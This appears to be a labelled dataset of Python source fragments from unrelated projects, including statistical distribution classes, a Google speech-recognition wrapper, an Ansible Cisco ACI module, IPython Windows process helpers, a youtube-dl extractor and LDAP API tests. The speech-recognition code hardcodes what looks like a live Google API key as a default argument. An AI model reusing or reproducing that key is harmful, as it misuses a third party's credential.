""NoncChi2({0},{1})"".format(self.df, self.lmbda) class NoncentralBetaDistr(InvDistr): def __init__(self, alpha = 1, beta = 1, lmbda = 0): d = 1 + ChiSquareDistr(2.0 * beta) / NoncentralChiSquareDistr(2 * alpha, lmbda) super(NoncentralBetaDistr, self).__init__(d) self.alpha = alpha self.beta = beta self.lmbda = lmbda def __str__(self): return ""NoncentralBetaDistr(alpha={0},beta={1},lambda={2})#{3}"".format(self.alpha, self.beta, self.lmbda, self.id()) def getName(self): return ""NoncBeta({0},{1},{2})"".format(self.alpha, self.beta, self.lmbda) class NoncentralFDistr(DivDistr): def __init__(self, df1 = 1, df2 = 1, lmbda = 0): d1 = NoncentralChiSquareDistr(df1, lmbda) / df1 d2 = ChiSquareDistr(df2) / df2 super(NoncentralFDistr, self).__init__(d1, d2) self.df1 = df1 self.df2 = df2 self.lmbda = lmbda def __str__(self): return ""NoncentralFDistr(df1={0},df2={1},lambda={2})#{3}"".format(self.df1, self.df2, self.lmbda, self.id()) def getName(self): return ""NoncF({0},{1},{2})"".format(self.df1, self.df2, self.lmbda) ",1 "license__ = 'BSD' import io, subprocess, wave, shutil import math, audioop, collections import json, urllib.request #wip: filter out clicks and other too short parts class AudioSource(object): def __init__(self): raise NotImplementedError(""this is an abstract class"") def __enter__(self): raise NotImplementedError(""this is an abstract class"") def __exit__(self, exc_type, exc_value, traceback): raise NotImplementedError(""this is an abstract class"") try: import pyaudio class Microphone(AudioSource): def __init__(self, device_index = None): self.device_index = device_index self.format = pyaudio.paInt16 # 16-bit int sampling self.SAMPLE_WIDTH = pyaudio.get_sample_size(self.format) self.RATE = 16000 # sampling rate in Hertz self.CHANNELS = 1 # mono audio self.CHUNK = 1024 # number of frames stored in each buffer self.audio = None self.stream = None def __enter__(self): self.audio = pyaudio.PyAudio() self.stream = self.audio.open( input_device_index = self.device_index, format = self.format, rate = self.RATE, channels = self.CHANNELS, frames_per_buffer = self.CHUNK, input = True, # stream is an input stream ) return self def __exit__(self, exc_type, exc_value, traceback): self.stream.stop_stream() self.stream.close() self.stream = None self.audio.terminate() except ImportError: pass class WavFile(AudioSource): def __init__(self, filename_or_fileobject): if isinstance(filename_or_fileobject, str): self.filename = filename_or_fileobject else: self.filename = None self.wav_file = filename_or_fileobject self.stream = None def __enter__(self): if self.filename: self.wav_file = open(self.filename, ""rb"") self.wav_reader = wave.open(self.wav_file, ""rb"") self.SAMPLE_WIDTH = self.wav_reader.getsampwidth() self.RATE = self.wav_reader.getframerate() self.CHANNELS = self.wav_reader.getnchannels() assert self.CHANNELS == 1 # audio must be mono self.CHUNK = 4096 self.stream = WavFile.WavStream(self.wav_reader) return self def __exit__(self, exc_type, exc_value, traceback): if self.filename: self.wav_file.close() self.stream = None class WavStream(object): def __init__(self, wav_reader): self.wav_reader = wav_reader def read(self, size = -1): if size == -1: return self.wav_reader.readframes(self.wav_reader.getnframes()) return self.wav_reader.readframes(size) class AudioData(object): def __init__(self, rate, data): self.rate = rate self.data = data class Recognizer(AudioSource): def __init__(self, language = ""fr-FR"", key = ""AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw""): self.key = key self.language = language self.energy_threshold = 1500 # minimum audio energy to consider for recording self.pause_threshold = 0.8 # seconds of quiet time before a phrase is considered complete self.quiet_duration = 0.5 # amount of quiet time to keep on both sides of the recording def samples_to_flac(self, source, frame_data): import platform, os with io.BytesIO() as wav_file: with wave.open(wav_file, ""wb"") as wav_writer: wav_writer.setsampwidth(source.SAMPLE_WIDTH) wav_writer.setnchannels(source.CHANNELS) wav_writer.setframerate(source.RATE) wav_writer.writeframes(frame_data) wav_data = wav_file.getvalue() # determine which converter executable to use system = platform.system() path = os.path.dirname(os.path.abspath(__file__)) # directory of the current module file, where all the FLAC bundled binaries are stored if shutil.which(""flac"") is not None: # check for installed version first flac_converter = shutil.which(""flac"") elif system == ""Windows"" and platform.machine() in {""i386"", ""x86"", ""x86_64"", ""AMD64""}: # Windows NT, use the bundled FLAC conversion utility flac_converter = os.path.join(path, ""flac-win32.exe"") elif system == ""Linux"" and platform.machine() in {""i386"", ""x86"", ""x86_64"", ""AMD64""}: flac_converter = os.path.join(path, ""flac-linux-i386"") else: raise ChildProcessError(""FLAC conversion utility not available - consider installing the FLAC utility"") process = subprocess.Popen(""\""%s\"" --stdout --totally-silent --best -"" % flac_converter, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True) flac_data, stderr = process.communicate(wav_data) return flac_data def record(self, source, duration = None): assert isinstance(source, AudioSource) and source.stream frames = io.BytesIO() seconds_per_buffer = source.CHUNK / source.RATE elapsed_time = 0 while True: # loop for the total number of chunks needed elapsed_time += seconds_per_buffer if duration and elapsed_time > duration: break buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break frames.write(buffer) frame_data = frames.getvalue() frames.close() return AudioData(source.RATE, self.samples_to_flac(source, frame_data)) def listen(self, source, timeout = None): assert isinstance(source, AudioSource) and source.stream # record audio data as raw samples frames = collections.deque() assert self.pause_threshold >= self.quiet_duration >= 0 seconds_per_buffer = source.CHUNK / source.RATE pause_buffer_count = math.ceil(self.pause_threshold / seconds_per_buffer) # number of buffers of quiet audio before the phrase is complete quiet_buffer_count = math.ceil(self.quiet_duration / seconds_per_buffer) # maximum number of buffers of quiet audio to retain before and after elapsed_time = 0 # store audio input until the phrase starts while True: # handle timeout if specified elapsed_time += seconds_per_buffer if timeout and elapsed_time > timeout: raise TimeoutError(""listening timed out"") buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break # reached end of the stream frames.append(buffer) # check if the audio input has stopped being quiet energy = audioop.rms(buffer, source.SAMPLE_WIDTH) # energy of the audio signal if energy > self.energy_threshold: break if len(frames) > quiet_buffer_count: # ensure we only keep the needed amount of quiet buffers frames.popleft() # read audio input until the phrase ends pause_count = 0 while True: buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break # reached end of the stream frames.append(buffer) # check if the audio input has gone quiet for longer than the pause threshold energy = audioop.rms(buffer, source.SAMPLE_WIDTH) # energy of the audio signal if energy > self.energy_threshold: pause_count = 0 else: pause_count += 1 if pause_count > pause_buffer_count: # end of the phrase break # obtain frame data for i in range(quiet_buffer_count, pause_buffer_count): frames.pop() # remove extra quiet frames at the end frame_data = b"""".join(list(frames)) return AudioData(source.RATE, self.samples_to_flac(source, frame_data)) def recognize(self, audio_data, show_all = False): assert isinstance(audio_data, AudioData) url = ""http://www.google.com/speech-api/v2/recognize?client=chromium&lang=%s&key=%s"" % (self.language, self.key) self.request = urllib.request.Request(url, data = audio_data.data, headers = {""Content-Type"": ""audio/x-flac; rate=%s"" % audio_data.rate}) # check for invalid key response from the server try: response = urllib.request.urlopen(self.request) except: raise KeyError(""Server wouldn't respond (invalid key or quota has been maxed out)"") response_text = response.read().decode(""utf-8"") # ignore any blank blocks actual_result = [] for line in response_text.split(""\n""): if not line: continue result = json.loads(line)[""result""] if len(result) != 0: actual_result = result[0] # make sure we have a list of transcriptions if ""alternative"" not in actual_result: raise LookupError(""Speech is unintelligible"") # return the best guess unless told to do otherwise if not show_all: for prediction in actual_result[""alternative""]: if ""confidence"" in prediction: return prediction[""transcript""] raise LookupError(""Speech is unintelligible"") spoken_text = [] # check to see if Google thinks it's 100% correct default_confidence = 0 if len(actual_result[""alternative""])==1: default_confidence = 1 # return all the possibilities for prediction in actual_result[""alternative""]: if ""confidence"" in prediction: spoken_text.append({""text"":prediction[""transcript""],""confidence"":prediction[""confidence""]}) else: spoken_text.append({""text"":prediction[""transcript""],""confidence"":default_confidence}) return spoken_text if __name__ == ""__main__"": r = Recognizer() m = Microphone() while True: print(""Say something!"") with m as source: audio = r.listen(source) print(""Got it! Now to recognize it..."") try: print(""You said "" + r.recognize(audio)) except LookupError: print(""Oops! Didn't catch that"") ",1 "__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' --- module: aci_tenant_span_dst_group short_description: Manage SPAN destination groups (span:DestGrp) description: - Manage SPAN destination groups on Cisco ACI fabrics. notes: - The C(tenant) used must exist before using this module in your playbook. The M(aci_tenant) module can be used for this. - More information about the internal APIC class B(span:DestGrp) from L(the APIC Management Information Model reference,https://developer.cisco.com/docs/apic-mim-ref/). author: - Dag Wieers (@dagwieers) version_added: '2.4' options: dst_group: description: - The name of the SPAN destination group. required: yes aliases: [ name ] description: description: - The description of the SPAN destination group. aliases: [ descr ] tenant: description: - The name of the tenant. required: yes aliases: [ tenant_name ] state: description: - Use C(present) or C(absent) for adding or removing. - Use C(query) for listing an object or multiple objects. choices: [ absent, present, query ] default: present extends_documentation_fragment: aci ''' # FIXME: Add more, better examples EXAMPLES = r''' - aci_tenant_span_dst_group: host: apic username: admin password: SomeSecretPassword dst_group: '{{ dst_group }}' description: '{{ descr }}' tenant: '{{ tenant }}' ''' RETURN = r''' current: description: The existing configuration from the APIC after the module has finished returned: success type: list sample: [ { ""fvTenant"": { ""attributes"": { ""descr"": ""Production environment"", ""dn"": ""uni/tn-production"", ""name"": ""production"", ""nameAlias"": """", ""ownerKey"": """", ""ownerTag"": """" } } } ] error: description: The error information as returned from the APIC returned: failure type: dict sample: { ""code"": ""122"", ""text"": ""unknown managed object class foo"" } raw: description: The raw output returned by the APIC REST API (xml or json) returned: parse error type: string sample: '' sent: description: The actual/minimal configuration pushed to the APIC returned: info type: list sample: { ""fvTenant"": { ""attributes"": { ""descr"": ""Production environment"" } } } previous: description: The original configuration from the APIC before the module has started returned: info type: list sample: [ { ""fvTenant"": { ""attributes"": { ""descr"": ""Production"", ""dn"": ""uni/tn-production"", ""name"": ""production"", ""nameAlias"": """", ""ownerKey"": """", ""ownerTag"": """" } } } ] proposed: description: The assembled configuration from the user-provided parameters returned: info type: dict sample: { ""fvTenant"": { ""attributes"": { ""descr"": ""Production environment"", ""name"": ""production"" } } } filter_string: description: The filter string used for the request returned: failure or debug type: string sample: ?rsp-prop-include=config-only method: description: The HTTP method used for the request to the APIC returned: failure or debug type: string sample: POST response: description: The HTTP response from the APIC returned: failure or debug type: string sample: OK (30 bytes) status: description: The HTTP status from the APIC returned: failure or debug type: int sample: 200 url: description: The HTTP url used for the request to the APIC returned: failure or debug type: string sample: https://10.11.12.13/api/mo/uni/tn-production.json ''' from ansible.module_utils.network.aci.aci import ACIModule, aci_argument_spec from ansible.module_utils.basic import AnsibleModule def main(): argument_spec = aci_argument_spec() argument_spec.update( dst_group=dict(type='str', required=False, aliases=['name']), # Not required for querying all objects tenant=dict(type='str', required=False, aliases=['tenant_name']), # Not required for querying all objects description=dict(type='str', aliases=['descr']), state=dict(type='str', default='present', choices=['absent', 'present', 'query']), ) module = AnsibleModule( argument_spec=argument_spec, supports_check_mode=True, required_if=[ ['state', 'absent', ['dst_group', 'tenant']], ['state', 'present', ['dst_group', 'tenant']], ], ) dst_group = module.params['dst_group'] description = module.params['description'] state = module.params['state'] tenant = module.params['tenant'] aci = ACIModule(module) aci.construct_url( root_class=dict( aci_class='fvTenant', aci_rn='tn-{0}'.format(tenant), filter_target='eq(fvTenant.name, ""{0}"")'.format(tenant), module_object=tenant, ), subclass_1=dict( aci_class='spanDestGrp', aci_rn='destgrp-{0}'.format(dst_group), filter_target='eq(spanDestGrp.name, ""{0}"")'.format(dst_group), module_object=dst_group, ), ) aci.get_existing() if state == 'present': aci.payload( aci_class='spanDestGrp', class_config=dict( name=dst_group, descr=description, ), ) aci.get_diff(aci_class='spanDestGrp') aci.post_config() elif state == 'absent': aci.delete_config() aci.exit_json() if __name__ == ""__main__"": main() ",1 "--------------------------------------------------------------- # Copyright (C) 2010-2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- from __future__ import print_function # stdlib import os import sys import ctypes import msvcrt from ctypes import c_int, POINTER from ctypes.wintypes import LPCWSTR, HLOCAL from subprocess import STDOUT # our own imports from ._process_common import read_no_interrupt, process_handler, arg_split as py_arg_split from . import py3compat from . import text from .encoding import DEFAULT_ENCODING #----------------------------------------------------------------------------- # Function definitions #----------------------------------------------------------------------------- class AvoidUNCPath(object): """"""A context manager to protect command execution from UNC paths. In the Win32 API, commands can't be invoked with the cwd being a UNC path. This context manager temporarily changes directory to the 'C:' drive on entering, and restores the original working directory on exit. The context manager returns the starting working directory *if* it made a change and None otherwise, so that users can apply the necessary adjustment to their system calls in the event of a change. Example ------- :: cmd = 'dir' with AvoidUNCPath() as path: if path is not None: cmd = '""pushd %s &&""%s' % (path, cmd) os.system(cmd) """""" def __enter__(self): self.path = os.getcwdu() self.is_unc_path = self.path.startswith(r""\\"") if self.is_unc_path: # change to c drive (as cmd.exe cannot handle UNC addresses) os.chdir(""C:"") return self.path else: # We return None to signal that there was no change in the working # directory return None def __exit__(self, exc_type, exc_value, traceback): if self.is_unc_path: os.chdir(self.path) def _find_cmd(cmd): """"""Find the full path to a .bat or .exe using the win32api module."""""" try: from win32api import SearchPath except ImportError: raise ImportError('you need to have pywin32 installed for this to work') else: PATH = os.environ['PATH'] extensions = ['.exe', '.com', '.bat', '.py'] path = None for ext in extensions: try: path = SearchPath(PATH, cmd + ext)[0] except: pass if path is None: raise OSError(""command %r not found"" % cmd) else: return path def _system_body(p): """"""Callback for _system."""""" enc = DEFAULT_ENCODING for line in read_no_interrupt(p.stdout).splitlines(): line = line.decode(enc, 'replace') print(line, file=sys.stdout) for line in read_no_interrupt(p.stderr).splitlines(): line = line.decode(enc, 'replace') print(line, file=sys.stderr) # Wait to finish for returncode return p.wait() def system(cmd): """"""Win32 version of os.system() that works with network shares. Note that this implementation returns None, as meant for use in IPython. Parameters ---------- cmd : str A command to be executed in the system shell. Returns ------- None : we explicitly do NOT return the subprocess status code, as this utility is meant to be used extensively in IPython, where any return value would trigger :func:`sys.displayhook` calls. """""" # The controller provides interactivity with both # stdin and stdout #import _process_win32_controller #_process_win32_controller.system(cmd) with AvoidUNCPath() as path: if path is not None: cmd = '""pushd %s &&""%s' % (path, cmd) return process_handler(cmd, _system_body) def getoutput(cmd): """"""Return standard output of executing cmd in a shell. Accepts the same arguments as os.system(). Parameters ---------- cmd : str A command to be executed in the system shell. Returns ------- stdout : str """""" with AvoidUNCPath() as path: if path is not None: cmd = '""pushd %s &&""%s' % (path, cmd) out = process_handler(cmd, lambda p: p.communicate()[0], STDOUT) if out is None: out = b'' return py3compat.bytes_to_str(out) try: CommandLineToArgvW = ctypes.windll.shell32.CommandLineToArgvW CommandLineToArgvW.arg_types = [LPCWSTR, POINTER(c_int)] CommandLineToArgvW.restype = POINTER(LPCWSTR) LocalFree = ctypes.windll.kernel32.LocalFree LocalFree.res_type = HLOCAL LocalFree.arg_types = [HLOCAL] def arg_split(commandline, posix=False, strict=True): """"""Split a command line's arguments in a shell-like manner. This is a special version for windows that use a ctypes call to CommandLineToArgvW to do the argv splitting. The posix paramter is ignored. If strict=False, process_common.arg_split(...strict=False) is used instead. """""" #CommandLineToArgvW returns path to executable if called with empty string. if commandline.strip() == """": return [] if not strict: # not really a cl-arg, fallback on _process_common return py_arg_split(commandline, posix=posix, strict=strict) argvn = c_int() result_pointer = CommandLineToArgvW(py3compat.cast_unicode(commandline.lstrip()), ctypes.byref(argvn)) result_array_type = LPCWSTR * argvn.value result = [arg for arg in result_array_type.from_address(ctypes.addressof(result_pointer.contents))] retval = LocalFree(result_pointer) return result except AttributeError: arg_split = py_arg_split ",1 " #from ethosgame.ethos.gameobject import GameObject from ..gameobject import GameObject #from ethosgame.ethos.drawnobject import DrawnObject from ..drawnobject import DrawnObject import pygame from pygame.locals import * from pygame import Color, image, font, sprite class Level0(Level): def __init__(self): super(Level0, self).__init__() self.activeSprites = sprite.RenderClear() self.drawnSprites = [] self.npc = GameObject(image.load('User.png'), 100,50) self.activeSprites.add(self.npc) self.block1 = GameObject(image.load('platform.png'), 100, 400) self.activeSprites.add(self.block1); self.mousex = 0 self.mousey = 0 #The highest height our npc #can climb. If a the dY with a #point is higher than this, the #npc will just fall to his death self.MAX_HILL_HEIGHT = 3 self.toDrawRectTopLeft = (0,0) self.toDrawRectBottomRight = (0,0) self.drawing = False self.pts = [] print ""Level 0 initialized."" def update(self, dT): #print ""Running level0"" #Character info for gobject in self.activeSprites: if gobject is not self.npc: if not gobject.rect.colliderect(self.npc.rect): #if self.npc.vy < 0.3 and (gobject.rect.y >= self.npc.rect.y + self.npc.rect.height): if self.npc.vy < 0.3: self.npc.vy += 0.1 else: self.npc.vy = 0 gobject.update(dT) collidingPoints = [] for drawnstuff in self.drawnSprites: for point in drawnstuff.pts: x = self.npc.rect.collidepoint(point) if x: collidingPoints.append(point) if(len(collidingPoints) > 0): self.npc.processPointCollision(collidingPoints) def processKeyDown(self,key): print ""You hit the key "" + str(key) + ""!"" if key == pygame.K_RIGHT: self.npc.vx = 0.1 def processMouseMotion(self,pos): #print ""Your mouse is at "" + str(pos[0]) + "" "" + str(pos[1]) self.mousex = pos[0] self.mousey = pos[1] if self.drawing and len(self.pts) < 100: self.pts.append( pos ) def processMouseButtonDown(self, pos): print ""Ya clicked at "" + str(pos[0]) + "" "" + str(pos[1]) + "" ya goof!"" self.drawing = True self.toDrawRectTopLeft = (pos[0],pos[1]) if len(self.pts) > 0: self.pts = [] def processMouseButtonUp(self, pos): print ""Ya let go"" if self.drawing is True: self.drawing = False self.drawnSprites.append ( DrawnObject(self.pts) ) self.toDrawRectBottomRight = (pos[0], pos[1]) ",1 " urlencode_postdata, ) class GDCVaultIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?gdcvault\.com/play/(?P\d+)/(?P(\w|-)+)?' _NETRC_MACHINE = 'gdcvault' _TESTS = [ { 'url': 'http://www.gdcvault.com/play/1019721/Doki-Doki-Universe-Sweet-Simple', 'md5': '7ce8388f544c88b7ac11c7ab1b593704', 'info_dict': { 'id': '1019721', 'display_id': 'Doki-Doki-Universe-Sweet-Simple', 'ext': 'mp4', 'title': 'Doki-Doki Universe: Sweet, Simple and Genuine (GDC Next 10)' } }, { 'url': 'http://www.gdcvault.com/play/1015683/Embracing-the-Dark-Art-of', 'info_dict': { 'id': '1015683', 'display_id': 'Embracing-the-Dark-Art-of', 'ext': 'flv', 'title': 'Embracing the Dark Art of Mathematical Modeling in AI' }, 'params': { 'skip_download': True, # Requires rtmpdump } }, { 'url': 'http://www.gdcvault.com/play/1015301/Thexder-Meets-Windows-95-or', 'md5': 'a5eb77996ef82118afbbe8e48731b98e', 'info_dict': { 'id': '1015301', 'display_id': 'Thexder-Meets-Windows-95-or', 'ext': 'flv', 'title': 'Thexder Meets Windows 95, or Writing Great Games in the Windows 95 Environment', }, 'skip': 'Requires login', }, { 'url': 'http://gdcvault.com/play/1020791/', 'only_matching': True, }, { # Hard-coded hostname 'url': 'http://gdcvault.com/play/1023460/Tenacious-Design-and-The-Interface', 'md5': 'a8efb6c31ed06ca8739294960b2dbabd', 'info_dict': { 'id': '1023460', 'ext': 'mp4', 'display_id': 'Tenacious-Design-and-The-Interface', 'title': 'Tenacious Design and The Interface of \'Destiny\'', }, }, { # Multiple audios 'url': 'http://www.gdcvault.com/play/1014631/Classic-Game-Postmortem-PAC', 'info_dict': { 'id': '1014631', 'ext': 'flv', 'title': 'How to Create a Good Game - From My Experience of Designing Pac-Man', }, 'params': { 'skip_download': True, # Requires rtmpdump 'format': 'jp', # The japanese audio } }, { # gdc-player.html 'url': 'http://www.gdcvault.com/play/1435/An-American-engine-in-Tokyo', 'info_dict': { 'id': '1435', 'display_id': 'An-American-engine-in-Tokyo', 'ext': 'flv', 'title': 'An American Engine in Tokyo:/nThe collaboration of Epic Games and Square Enix/nFor THE LAST REMINANT', }, 'params': { 'skip_download': True, # Requires rtmpdump }, }, ] def _login(self, webpage_url, display_id): username, password = self._get_login_info() if username is None or password is None: self.report_warning('It looks like ' + webpage_url + ' requires a login. Try specifying a username and password and try again.') return None mobj = re.match(r'(?Phttps?://.*?/).*', webpage_url) login_url = mobj.group('root_url') + 'api/login.php' logout_url = mobj.group('root_url') + 'logout' login_form = { 'email': username, 'password': password, } request = sanitized_Request(login_url, urlencode_postdata(login_form)) request.add_header('Content-Type', 'application/x-www-form-urlencoded') self._download_webpage(request, display_id, 'Logging in') start_page = self._download_webpage(webpage_url, display_id, 'Getting authenticated video page') self._download_webpage(logout_url, display_id, 'Logging out') return start_page def _real_extract(self, url): mobj = re.match(self._VALID_URL, url) video_id = mobj.group('id') display_id = mobj.group('name') or video_id webpage_url = 'http://www.gdcvault.com/play/' + video_id start_page = self._download_webpage(webpage_url, display_id) direct_url = self._search_regex( r's1\.addVariable\(""file"",\s*encodeURIComponent\(""(/[^""]+)""\)\);', start_page, 'url', default=None) if direct_url: title = self._html_search_regex( r'Session Name\s*(.*?)', start_page, 'title') video_url = 'http://www.gdcvault.com' + direct_url # resolve the url so that we can detect the correct extension head = self._request_webpage(HEADRequest(video_url), video_id) video_url = head.geturl() return { 'id': video_id, 'display_id': display_id, 'url': video_url, 'title': title, } PLAYER_REGEX = r'' xml_root = self._html_search_regex( PLAYER_REGEX, start_page, 'xml root', default=None) if xml_root is None: # Probably need to authenticate login_res = self._login(webpage_url, display_id) if login_res is None: self.report_warning('Could not login.') else: start_page = login_res # Grab the url from the authenticated page xml_root = self._html_search_regex( PLAYER_REGEX, start_page, 'xml root') xml_name = self._html_search_regex( r'', start_page, 'xml filename') return { '_type': 'url_transparent', 'id': video_id, 'display_id': display_id, 'url': '%s/xml/%s' % (xml_root, xml_name), 'ie_key': 'DigitallySpeaking', } ",1 "dap.initialize') def test_exists(self, mocked_initialize): connection = mock.MagicMock() mocked_initialize.return_value = connection url = reverse('api:exists') response = self.client.get(url) self.assertEqual(response.status_code, 400) # check that 400 Bad Request errors are proper JSON self.assertEqual(response['Content-Type'], 'application/json') self.assertEqual( json.loads(response.content), {'error': ""missing key 'mail'""} ) response = self.client.get(url, {'mail': ''}) self.assertEqual(response.status_code, 400) result = { 'abc123': {'uid': 'abc123', 'mail': 'peter@example.com'}, } def search_s(base, scope, filterstr, *args, **kwargs): if 'peter@example.com' in filterstr: # if 'hgaccountenabled=TRUE' in filterstr: # return [] return result.items() return [] connection.search_s.side_effect = search_s response = self.client.get(url, {'mail': 'peter@example.com'}) self.assertEqual(response.status_code, 200) self.assertEqual(response['Content-Type'], 'application/json') self.assertEqual(json.loads(response.content), True) response = self.client.get(url, {'mail': 'never@heard.of.com'}) self.assertEqual(response.status_code, 200) self.assertEqual(json.loads(response.content), False) # response = self.client.get(url, {'mail': 'peter@example.com', # 'hgaccountenabled': ''}) # self.assertEqual(response.status_code, 200) # self.assertEqual(json.loads(response.content), False) response = self.client.get(url, {'mail': 'peter@example.com', 'gender': 'male'}) self.assertEqual(response.status_code, 200) self.assertEqual(json.loads(response.content), True) @mock.patch('ldap.initialize') def test_employee(self, mocked_initialize): connection = mock.MagicMock() mocked_initialize.return_value = connection url = reverse('api:employee') response = self.client.get(url) self.assertEqual(response.status_code, 400) response = self.client.get(url, {'mail': ''}) self.assertEqual(response.status_code, 400) result = { 'abc123': {'uid': 'abc123', 'mail': 'peter@mozilla.com', 'sn': u'B\xe3ngtsson'}, } def search_s(base, scope, filterstr, *args, **kwargs): if 'peter@example.com' in filterstr: return result.items() return [] connection.search_s.side_effect = search_s response = self.client.get(url, {'mail': 'peter@example.com'}) self.assertEqual(response.status_code, 200) self.assertEqual(response['Content-Type'], 'application/json') self.assertEqual(json.loads(response.content), True) response = self.client.get(url, {'mail': 'never@heard.of.com'}) self.assertEqual(response.status_code, 200) self.assertEqual(response['Content-Type'], 'application/json') self.assertEqual(json.loads(response.content), False) @mock.patch('ldap.initialize') def test_ingroup(self, mocked_initialize): connection = mock.MagicMock() mocked_initialize.return_value = connection url = reverse('api:in-group') response = self.client.get(url) self.assertEqual(response.status_code, 400) response = self.client.get(url, {'mail': ''}) self.assertEqual(response.status_code, 400) response = self.client.get(url, {'mail': 'peter@example.com'}) self.assertEqual(response.status_code, 400) response = self.client.get(url, {'mail': 'peter@example.com', 'cn': ''}) self.assertEqual(response.status_code, 400) result = { 'abc123': {'uid': 'abc123', 'mail': 'peter@example.com'}, } def search_s(base, scope, filterstr, *args, **kwargs): if 'ou=groups' in base: if ( 'peter@example.com' in filterstr and 'cn=CrashStats' in filterstr ): return result.items() else: # basic lookup if 'peter@example.com' in filterstr: return result.items() return [] connection.search_s.side_effect = search_s response = self.client.get(url, {'mail': 'not@head.of.com', 'cn': 'CrashStats'}) self.assertEqual(response.status_code, 200) self.assertEqual(json.loads(response.content), False) response = self.client.get(url, {'mail': 'peter@example.com', 'cn': 'CrashStats'}) self.assertEqual(response.status_code, 200) self.assertEqual(json.loads(response.content), True) response = self.client.get(url, {'mail': 'peter@example.com', 'cn': 'NotInGroup'}) self.assertEqual(response.status_code, 200) self.assertEqual(json.loads(response.content), False) ",1 "ject with a white background, small black text and a centred title. Designed to better mimic MATLAB style plots. Unspecified arguments will be set to default values when mayaxes is called (note that default settings are configured for a figure measuring 1024 x 768 pixels and may not display correctly on plots that are significantly larger or smaller). === Inputs === 'title' Figure title text (default = 'VOID') 'xlabel' X axis label text (default = 'X') 'ylabel' Y axis label text (default = 'Y') 'zlabel' Z axis label text (default = 'Z') 'handle' Graphics handle of object (if bounding box is to be plotted) 'title_size' Font size of the title text (default = 25) 'ticks' Number of divisions on each axis (default = 7) 'font_scaling' Font scaling factor for axis text (default = 0.7) 'background' Background colour (can be 'b' (black) or 'w' (white)) === Notes === Disbaling figure title: specify title_string='void' OR title_string='Void' OR title_string='VOID' to disable figure title. Disabling bounding box: specify handle='void' OR handle='Void' OR handle='VOID' to disable figure bounding box. === Usage === from mayaxes import mayaxes mayaxes('Figure title','X axis label','Y axis label','Z axis label') OR mayaxes(title_string='TITLE',xlabel='X',ylabel='Y',zlabel='Z',title_size=25,ticks=7,font_scaling=0.7) === Example === from mayaxes import test_mayaxes test_mayaxes() @author: Nathan Donaldson """""" def mayaxes(title_string='VOID', xlabel='VOID', ylabel='VOID', zlabel='VOID', handle='VOID', \ title_size=25, ticks=7, font_scaling=0.7, background='w'): if type(title_string) != str or type(xlabel) != str or type(ylabel) != str or type(zlabel) != str: print('ERROR: label inputs must all be strings') return elif type(ticks) != int: print('ERROR: number of ticks must be an integer') return elif type(font_scaling) != float and type(font_scaling) != int: print('Error: font scaling factor must be an integer or a float') return from mayavi.mlab import axes,title,gcf,outline # Create axes object ax = axes() # Font factor globally adjusts figure text size ax.axes.font_factor = font_scaling # Number of ticks along each axis ax.axes.number_of_labels = ticks # Set axis labels to input strings # (spaces are included for padding so that labels do not intersect with axes) if xlabel=='void' or xlabel=='Void' or xlabel=='VOID': print 'X axis label title disabled' else: ax.axes.x_label = ' ' + xlabel if ylabel=='void' or ylabel=='Void' or ylabel=='VOID': print 'Y axis label disabled' else: ax.axes.y_label = ylabel + ' ' if zlabel=='void' or zlabel=='Void' or zlabel=='VOID': print 'Z axis label disabled' else: ax.axes.z_label = zlabel + ' ' # Create figure title if title_string=='void' or title_string=='Void' or title_string=='VOID': print 'Figure title disabled' else: text_title = title(title_string) text_title.x_position = 0.5 text_title.y_position = 0.9 text_title.property.color = (0.0, 0.0, 0.0) text_title.actor.text_scale_mode = 'none' text_title.property.font_size = title_size text_title.property.justification = 'centered' # Create bounding box if handle=='void' or handle=='Void' or handle=='VOID': print 'Bounding box disabled' else: if background == 'w': bounding_box = outline(handle, color=(0.0, 0.0, 0.0), opacity=0.2) elif background == 'b': bounding_box = outline(handle, color=(1.0, 1.0, 1.0), opacity=0.2) # Set axis, labels and titles to neat black text #ax.property.color = (0.0, 0.0, 0.0) #ax.title_text_property.color = (0.0, 0.0, 0.0) #ax.label_text_property.color = (0.0, 0.0, 0.0) ax.label_text_property.bold = False ax.label_text_property.italic = False ax.title_text_property.italic = False ax.title_text_property.bold = False # Reset axis range ax.axes.use_ranges = True # Set scene background, axis and text colours fig = gcf() if background == 'w': fig.scene.background = (1.0, 1.0, 1.0) ax.label_text_property.color = (0.0, 0.0, 0.0) ax.property.color = (0.0, 0.0, 0.0) ax.title_text_property.color = (0.0, 0.0, 0.0) elif background == 'b': fig.scene.background = (0.0, 0.0, 0.0) ax.label_text_property.color = (1.0, 1.0, 1.0) ax.property.color = (1.0, 1.0, 1.0) ax.title_text_property.color = (1.0, 1.0, 1.0) fig.scene.parallel_projection = True def test_mayaxes(): from mayaxes import mayaxes from scipy import sqrt,sin,meshgrid,linspace,pi import mayavi.mlab as mlab resolution = 200 lambda_var = 3 theta = linspace(-lambda_var*2*pi,lambda_var*2*pi,resolution) x, y = meshgrid(theta, theta) r = sqrt(x**2 + y**2) z = sin(r)/r fig = mlab.figure(size=(1024,768)) surf = mlab.surf(theta,theta,z,colormap='jet',opacity=1.0,warp_scale='auto') mayaxes(title_string='Figure 1: Diminishing polar cosine series', \ xlabel='X data',ylabel='Y data',zlabel='Z data',handle=surf) fig.scene.camera.position = [435.4093863309094, 434.1268937227623, 315.90311468125287] fig.scene.camera.focal_point = [94.434632665253829, 93.152140057106593, -25.071638984402856] fig.scene.camera.view_angle = 30.0 fig.scene.camera.view_up = [0.0, 0.0, 1.0] fig.scene.camera.clipping_range = [287.45231734040635, 973.59247058049255] fig.scene.camera.compute_view_plane_normal() fig.scene.render() mlab.show() ",1 "to create the downloadable Word 97 version of the book (http://diveintopython.org/diveintopython.doc) Looks for 2 arguments on the command line. The first argument is the input (HTML) file; the second argument is the output (.doc) file. Only runs on Windows. Requires Microsoft Word 2000. Safe to run on the same file(s) more than once. The output file will be silently overwritten if it already exists. The script has been modified by xiaq (xiaqqaix@gmail.com) to fit 